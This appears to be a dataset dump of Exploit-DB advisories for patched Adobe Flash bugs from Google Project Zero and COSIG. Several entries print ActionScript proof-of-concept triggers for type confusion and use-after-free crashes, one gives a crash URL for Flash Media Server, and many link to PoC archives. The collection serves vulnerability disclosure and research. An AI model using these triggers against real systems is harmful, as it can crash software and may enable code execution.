deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37874
Description: Adobe Flash - Type Confusion in TextRenderer.setAdvancedAntialiasingTable
Type: dos
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=409&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a type confusion issue in TextRenderer.setAdvancedAntialiasingTable. If the font, insideCutoff or outsideCutoff are set to objects that are not integers, they are still assumed to be integers. A proof-of-concept is below:

var antiAliasEntry_1 = {fontSize:10, insideCutoff:1.61, outsideCutoff:-3.43};
var antiAliasEntry_2 = {fontSize:"", insideCutoff:0.8, outsideCutoff:-0.8};
var arialTable:Array = new Array(antiAliasEntry_1, antiAliasEntry_2);

TextRenderer.setAdvancedAntialiasingTable("Arial", "none", "dark", arialTable);

This issue is low-impact because the type-confused objects are read into the font and cutoff values, which cannot be directly retreived from script. It is probably possible to determine the value read by doing hit tests on the text that is rendered (to see how big and clipped it is), but this would be fairly difficult.

A sample SWF and fla are attached, these samples intentionally crash to demonstrate the issue. 

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37874.zip
Exploit-DB #39649
Description: Adobe Flash - URLStream.readObject Use-After-Free
Type: dos
Platform: multiple
Date: 2016-04-01
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=611

There is a use-after-free in URLStream.readObject. If the object read is a registered class, the constructor will get invoked to create the object. If the constructor calls URLStream.close, the URLStream will get freed, and then the deserialization function will continue to write to it.

A minimal PoC is as follows:

//In main

flash.net.registerClassAlias("bob", myclass);
			
			
var u:URLStream = new URLStream();
myclass.u = u;
u.addEventListener(Event.COMPLETE, func);
u.load(new URLRequest("file.txt"));
	
function func(){	
	trace(u.readObject());
	}

// in myclass

static public var u;
		
public function myclass()
{
	u.close();
}

A sample script and SWF are attached. Note that file.txt needs to be in the same folder as getproperty.swf on a remote server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39649.zip
Exploit-DB #41422
Description: Adobe Flash - Use-After-Free in Applying Bitmap Filter
Type: dos
Platform: multiple
Date: 2017-02-21
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1007

The attached swf causes a use-after-free in applying bitmap filters.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41422.zip
Exploit-DB #40309
Description: Adobe Flash - Use-After-Free When Returning Rectangle
Type: dos
Platform: multiple
Date: 2016-08-29
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=842

Several methods in flash return instances of the Rectangle class. There is a use-after-free in creating these objects for return. If the this object of the call is a MovieClip, the Rectangle instantiation will run on its thread. If a getter is added to this class's package, it will be invoked when fetching the rectangle constructor, which can free the method's thread, which will cause the Rectangle constructor to run on a thread which has been freed. A minimal PoC is at follows:

var mc = this.createEmptyMovieClip( "mc", 1);
mc.scrollRect = {x : 0, y : 0, height : 10, width : 10}
var r = flash.geom.Rectangle;
var g = flash.geom;
g.addProperty("Rectangle", func, func);
var f = ASnative(900, 405); //scrollRect
mc.f = f;
mc.f();

function func(){
	
	mc.removeMovieClip();
	
	// fix heap
	
	return r;
	
	}
	

A PoC and swf are attached. The PoC crashes in Chrome on 64-bit Windows.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40309.zip
Exploit-DB #40420
Description: Adobe Flash - Video Decompression Memory Corruption
Type: dos
Platform: multiple
Date: 2016-09-23
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=857

The attached fuzz file causes memory corruption when decompressing embedded video content. 

Fixed in the September update


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40420.zip
Exploit-DB #37859
Description: Adobe Flash - XML.childNodes Use-After-Free
Type: dos
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=365&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

If a watch is set on the childNodes object of an XML object, and then the XML object is manipulated in a way that causes its child nodes to be enumerated, the watch will trigger. If the function in the watch deletes all the child nodes, the buffer containing the nodes will be deleted, even though the original function will still access it when it unwinds. This can lead to a childnodes array in ActionScript containing pointers that can be specified by an attacker. A minimal POC is as follows:

var doc:XML = new XML(); 
var rootNode:XMLNode = doc.createElement("rootNode");  
var oldest:XMLNode = doc.createElement("oldest"); 
var middle:XMLNode = doc.createElement("middle"); 
var youngest:XMLNode = doc.createElement("youngest"); 
var youngest1:XMLNode = doc.createElement("youngest1"); 
var youngest2:XMLNode = doc.createElement("youngest2"); 
var youngest3:XMLNode = doc.createElement("youngest3"); 
 
// add the rootNode as the root of the XML document tree 
doc.appendChild(rootNode); 
 
// add each of the child nodes as children of rootNode 
rootNode.appendChild(oldest); 
rootNode.appendChild(middle); 
rootNode.appendChild(youngest1);
rootNode.appendChild(youngest2);
rootNode.appendChild(youngest3);
 
// create an array and use rootNode to populate it 
var firstArray:Array = rootNode.childNodes; 
trace (firstArray.length);

firstArray[0] = "test";
firstArray.watch("length", f);
rootNode.appendChild(youngest);

function f(a, b){
	
	trace("in f " + a + " " + b + " " + c);
	if(b == 1){
	firstArray.unwatch("length");
	middle.removeNode();
	oldest.removeNode();
	youngest1.removeNode();
	youngest2.removeNode();
	youngest3.removeNode();
	youngest.removeNode();
	}
	
	
	for(var i = 0; i < 100; i++){
		var b = new flash.display.BitmapData(100, 1000, true, 1000);
		var c = "aaaaaaaaaaaaa";
	}
	
		trace("end length " + rootNode.childNodes.length);	
	}

A sample fla and swf are also attached.	

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37859.zip
Exploit-DB #41423
Description: Adobe Flash - YUVPlane Decoding Heap Overflow
Type: dos
Platform: multiple
Date: 2017-02-21
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1008

The attached FLV file causes a heap overflow in YUVPlane decoding.

To reproduce, put LoadMP4.swf and yuvplane.flv on a server, and visit 127.0.0.1/LoadMP4.swf?file=yvplane.flv. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41423.zip
Exploit-DB #39219
Description: Adobe Flash BlurFilter Processing - Out-of-Bounds Memset
Type: dos
Platform: multiple
Date: 2016-01-11
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=627

The attached swf file causes an out-of-bounds memset in BlurFilter processing. Note that Chrome aborts when processing the swf


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39219.zip
Exploit-DB #36037
Description: Adobe Flash Media Server 4.0.2 - Null Pointer Dereference Remote Denial of Service
Type: dos
Platform: multiple
Date: 2011-08-09
Author: Knud Erik Hojgaard

Exploit:
source: https://www.securityfocus.com/bid/49103/info

The Adobe Flash Media Server is prone to a remote denial-of-service vulnerability.

Successful exploits will allow attackers to crash the affected application, denying service to legitimate users. Due to the nature of this issue, arbitrary code execution may be possible; however, this has not been confirmed. 

http://www.example.com:1111/?%
Exploit-DB #40102
Description: Adobe Flash Player 22.0.0.192 - DefineBitsJPEG2 Memory Corruption
Type: dos
Platform: multiple
Date: 2016-07-13
Author: COSIG

Exploit:
#####################################################################################

# Application: Adobe Flash Player
# Platforms: Windows,OSX
# Versions: 22.0.0.192 and earlier
# Author: Sébastien Morin of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: July 12, 2016
# CVE-2016-4179
# COSIG-2016-23

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

================
1) Introduction
================

Adobe Flash Player (labeled Shockwave Flash in Internet Explorer and Firefox) is a freeware software for using content created on the Adobe Flash platform, including viewing multimedia, executing rich Internet applications, and streaming video and audio. Flash Player can run from a web browser as a browser plug-in or on supported mobile devices.[7] Flash Player was created by Macromedia and has been developed and distributed by Adobe Systems since Adobe acquired Macromedia.

(https://en.wikipedia.org/wiki/Adobe_Flash_Player)

#####################################################################################

============================
2) Rapport de Coordination
============================

2016-05-14: Sébastien Morin of COSIG report this vulnerability to Adobe PSIRT;
2016-06-08: Adobe PSIRT confirm this vulnerability;
2016-07-12: Adobe publish a patch (APSB16-25);
2016-07-12: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================

The vulnerability allows a remote attacker to execute malicious code or access to a part of the dynamically allocated memory using a user interaction
visiting a Web page or open a specially crafted SWF file, which contains “DefineBitsJPEG2” invalid data.

#####################################################################################

===========
4) POC:
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/07/COSIG-2016-23.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40102.zip

####################################################################################
Exploit-DB #40103
Description: Adobe Flash Player 22.0.0.192 - DefineSprite Memory Corruption
Type: dos
Platform: multiple
Date: 2016-07-13
Author: COSIG

Exploit:
#####################################################################################

# Application: Adobe Flash Player
# Platforms: Windows,OSX
# Versions: 22.0.0.192 and earlier
# Author: Sébastien Morin of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: July 12, 2016
# CVE-2016-4175
# COSIG-2016-22

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

================
1) Introduction
================

Adobe Flash Player (labeled Shockwave Flash in Internet Explorer and Firefox) is a freeware software for using content created on the Adobe Flash platform, including viewing multimedia, executing rich Internet applications, and streaming video and audio. Flash Player can run from a web browser as a browser plug-in or on supported mobile devices. Flash Player was created by Macromedia and has been developed and distributed by Adobe Systems since Adobe acquired Macromedia.

(https://en.wikipedia.org/wiki/Adobe_Flash_Player)

#####################################################################################

====================
2) Report Timeline
====================

2016-05-10: Sébastien Morin of COSIG report this vulnerability to Adobe PSIRT;
2016-06-08: Adobe PSIRT confirm this vulnerability;
2016-07-12: Adobe publish a patch (APSB16-25);
2016-07-12: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================

The vulnerability allows a remote attacker to execute malicious code or access to a part of the dynamically allocated memory using a user interaction
visiting a Web page or open a specially crafted SWF file, which contains ‘DefineSprite’ invalid data.

#####################################################################################

===========
4) POC:
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/07/COSIG-2016-22-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40103.zip

####################################################################################
Exploit-DB #40104
Description: Adobe Flash Player 22.0.0.192 - SceneAndFrameData Memory Corruption
Type: dos
Platform: multiple
Date: 2016-07-13
Author: COSIG

Exploit:
#####################################################################################

# Application: Adobe Flash Player
# Platforms: Windows,OSX
# Versions: 22.0.0.192 and earlier
# Author: Francis Provencher of COSIG
# Website: https://cosig.gouv.qc.ca/avis/
# Twitter: @COSIG_
# Date: 12 juillet 2016
# CVE-2016-4177
# COSIG-2016-21

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============
Adobe Flash Player (labeled Shockwave Flash in Internet Explorer and Firefox) is a freeware software for using content created on the Adobe Flash platform, including viewing multimedia, executing rich Internet applications, and streaming video and audio. Flash Player can run from a web browser as a browser plug-in or on supported mobile devices.[7] Flash Player was created by Macromedia and has been developed and distributed by Adobe Systems since Adobe acquired Macromedia.

(https://en.wikipedia.org/wiki/Adobe_Flash_Player)

#####################################################################################

====================
2) Report Timeline
====================
2016-05-10: Francis Provencher du COSIG of COSIG report this vulnerability to Adobe PSIRT;
2016-05-17: Adobe PSIRT confirm this vulnerability;
2016-07-12: Adobe publish a patch (APSB16-25);
2016-07-12: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================

The vulnerability allows a remote attacker to execute malicious code or access to a part of the dynamically allocated memory using a user interaction
visiting a Web page or open a specially crafted SWF file, which contains ‘SceneAndFrameData’ invalid data.

#####################################################################################

===========
4) POC:
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/07/COSIG-2016-21.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40104.zip

###############################################################################
Exploit-DB #40105
Description: Adobe Flash Player 22.0.0.192 - TAG Memory Corruption
Type: dos
Platform: multiple
Date: 2016-07-13
Author: COSIG

Exploit:
#####################################################################################

# Application: Adobe Flash Player
# Platforms: Windows,OSX
# Versions: 22.0.0.192 and earlier
# Author: Francis Provencher of COSIG
# Website: https://cosig.gouv.qc.ca/avis/
# Twitter: @COSIG_
# Date: 12 juillet 2016
# CVE-2016-4176
# COSIG-2016-20

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============
Adobe Flash Player (labeled Shockwave Flash in Internet Explorer and Firefox) is a freeware software for using content created on the Adobe Flash platform, including viewing multimedia, executing rich Internet applications, and streaming video and audio. Flash Player can run from a web browser as a browser plug-in or on supported mobile devices.[7] Flash Player was created by Macromedia and has been developed and distributed by Adobe Systems since Adobe acquired Macromedia.

(https://en.wikipedia.org/wiki/Adobe_Flash_Player)

#####################################################################################

====================
2) Report Timeline
====================
2016-05-10: Francis Provencher du COSIG of COSIG report this vulnerability to Adobe PSIRT;
2016-05-17: Adobe PSIRT confirm this vulnerability;
2016-07-12: Adobe publish a patch (APSB16-25);
2016-07-12: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================

The vulnerability allows a remote attacker to execute malicious code or access to a part of the dynamically allocated memory using a user interaction
visiting a Web page or open a specially crafted SWF file, which contains ‘TAG’ invalid data.

#####################################################################################

===========
4) POC:
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/07/COSIG-2016-20.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40105.zip

###############################################################################
Exploit-DB #40510
Description: Adobe Flash Player 23.0.0.162 - '.SWF' ConstantPool Critical Memory Corruption
Type: dos
Platform: multiple
Date: 2016-10-12
Author: COSIG

Exploit:
#####################################################################################

# Application: Adobe Flash Player
# Platforms: Windows,OSX
# Versions: 23.0.0.162 and earlier
# Author: Francis Provencher of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: October 11, 2016
# CVE-2016-4273
# COSIG-2016-35

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

================
1) Introduction
================

Adobe Flash Player (labeled Shockwave Flash in Internet Explorer and Firefox) is a freeware software for using content created
on the Adobe Flash platform, including viewing multimedia, executing rich Internet applications, and streaming video and audio.
Flash Player can run from a web browser as a browser plug-in or on supported mobile devices.[7] Flash Player was created by Macromedia
and has been developed and distributed by Adobe Systems since Adobe acquired Macromedia.

(https://en.wikipedia.org/wiki/Adobe_Flash_Player)

#####################################################################################

============================
2) Rapport de Coordination
============================

2016-05-17: Francis Provencher of COSIG report this vulnerability to Adobe PSIRT;
2016-05-23: Adobe PSIRT confirm this vulnerability;
2016-10-11: Adobe publish a patch (APSB16-32);
2016-10-11: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================

The vulnerability allows a remote attacker to execute malicious code or access to a part of the dynamically allocated memory using a user interaction
visiting a Web page or open a specially crafted SWF file, an attacker is able to create an “out of bound” memory corruption. A file with an “ActionRecord”
structure that contain an invalid “ConstantPool” could lead to remote code execution in the context of the current user.

#####################################################################################

===========
4) POC:
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/10/COSIG-2016-35.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40510.zip

####################################################################################
Exploit-DB #41008
Description: Adobe Flash Player 24.0.0.186 - 'ActionGetURL2' Out-of-Bounds Memory Corruption (1)
Type: dos
Platform: multiple
Date: 2017-01-11
Author: COSIG

Exploit:
Source: https://cosig.gouv.qc.ca/en/cosig-2017-01-en/

#####################################################################################

# Application: Adobe Flash Player
# Platforms: Windows,OSX
# Versions: 24.0.0.186 and earlier
# Author: Francis Provencher of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: January 10, 2017
# CVE-2017-2930
# COSIG-2016-35

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

================
1) Introduction
================

Adobe Flash Player (labeled Shockwave Flash in Internet Explorer and Firefox) is a freeware software for using content created
on the Adobe Flash platform, including viewing multimedia, executing rich Internet applications, and streaming video and audio.
Flash Player can run from a web browser as a browser plug-in or on supported mobile devices.[7] Flash Player was created by Macromedia
and has been developed and distributed by Adobe Systems since Adobe acquired Macromedia.

(https://en.wikipedia.org/wiki/Adobe_Flash_Player)

#####################################################################################

============================
2) Rapport de Coordination
============================

2016-11-13: Francis Provencher of COSIG report this vulnerability to Adobe PSIRT;
2016-11-14: Adobe PSIRT confirm this vulnerability;
2017-01-10: Adobe publish a patch (APSB17-02);
2017-01-10: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================

The vulnerability allows a remote attacker to execute malicious code or access to a part of the dynamically allocated memory using a user interaction
visiting a Web page or open a specially crafted SWF file, an attacker is able to create an “out of bound” memory corruption. A file with an “ActionRecord”
structure that contain an invalid value in “ActionGetURL2” could lead to remote code execution in the context of the current user.

#####################################################################################

===========
4) POC:
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2017/01/COSIG-2017-01.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41008.zip

####################################################################################